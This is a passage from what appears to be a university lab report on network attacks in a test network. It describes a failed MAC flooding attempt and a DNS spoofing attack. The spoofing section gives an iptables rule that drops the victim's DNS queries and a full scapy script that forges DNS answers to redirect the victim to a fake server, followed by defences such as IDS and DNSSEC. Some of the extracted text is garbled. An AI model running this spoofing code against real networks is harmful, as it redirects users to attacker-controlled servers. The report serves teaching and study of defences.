FIGURE 8 - MAC FLOODING: WIRESHARK FROM THE ATTACKER HOST

This attack doesn't work, because Vyatta MAC table is too large and it would take too long to fill it. Even if

we fill the table, Vyatta behavior is not the standard switch behavior: once the MAC table is full, Vyatta will

discard any incoming packet.

MEASUREMENTS: We can fix this attack by setting a threshold to the number of client that can connect to a

switch port.


25

2.8.3 DNS Spoofing



First we perform a man in the middle as described in paragraph 2.8.1. Then we wait for a DNS Query from

the victim host and we respond with a fake DNS Answer, thereby connecting the victim to a fake web server

under our control.

After making the ARP Poisoning as described in paragraph 2.8.1, we set a rule in the iptables of the attacker

host in order to drop DNS Queries coming from the victim. To do this, we use the following command on the

attacker host:

iptables -A FORWARD -p udp -d 192.168.134.101 --spo rt 53 -j DROP

After that, we use the following scapy script for waiting for a DNS Query from the victim and then

answering with a fake DNS Answer:

• SCAPY SCRIPT:

>>>#! /usr/bin/env >>>from scapy.all import *; >>>target = "192.168.134.101"; >>>fake_server = "192.168.133.101"; >>>while 1: >>>packet = sniff(count=1, filter="udp and host 1 92.168.134.101 and port 53"); >>>for i in packet: >>>sourcePort = i[UDP].sport; >>>msg_id = i[DNS].id; >>>dns_ip = i[IP].dst; >>>queried_name = i[DNS].qd.qname; >>>queried_type = i[DNS].qd.qtype; >>>queried_class = i[DNS].qd.qclass; >>>fake_answer = IP(dst=target, src=dns_ip) / UDP (dport = sourcePort, sport = 53) / DNS(id=msg_id, qr=1, opco de=0, aa=0, tc=0, rd=1, ra=1, z=0, rcode=0, qdcount=1, ancount=1, qd=DNSQR(qname=queried_name, qtype=queried_type, qclass=queried_class), an=DNSRR(rrname=queried_name , type="A", rclass="IN", ttl=71943, rdlen=4, rdata=fake_server) ); >>>send(fake_answer);

WIRESHARK FILTER: dns (for viewing dns queries and answers)


26

We can see from the following screenshot that the victim connects to our fake web server:

MEASUREMENTS: Typically, you will never know that your DNS is being spoofed until it happened. What

you get is a webpage that is different than what you are expecting. There are still a few things that can be

done to defend against these types of attacks:

• Secure your internal machines: Attacks like these are most commonly executed from inside the

network. If your network devices are secure then there is less of a chance of those compromised

hosts being used to launch a spoofing attack.

• Don’t rely on DNS for secure systems: On highly sensitive and secure systems that you typically

won’t be browsing the Internet on its often a best practice to not use DNS. If you have software that

relies on hostnames to function then those can be specified manually in the devices hosts file.

• Use IDS: An intrusion detection system, when placed and deployed correctly, can typically pick up

on most forms of ARP cache poisoning and DNS spoofing.

• Use DNSSEC: DNSSEC is a newer alternative to DNS that uses digitally signed DNS records to ensure

the validity of a query response. DNSSEC is not yet in wide deployment but has been widely

accepted as “the future of DNS”.

DNS Query from

the victim

Our fake DNS

Answer

Website on which we

have asked to connect


27

3 NETWORK USED FOR THE ATTACKS

Documents

Network - Altervistanickmontini.altervista.org/resources/attack.pdf · DEPARTMENT OF MASTER DEGREE IN COMPUTER Network UNIVERSITY OF PADOVA INFORMATION ENGINEERING COMPUTER ENGINEERING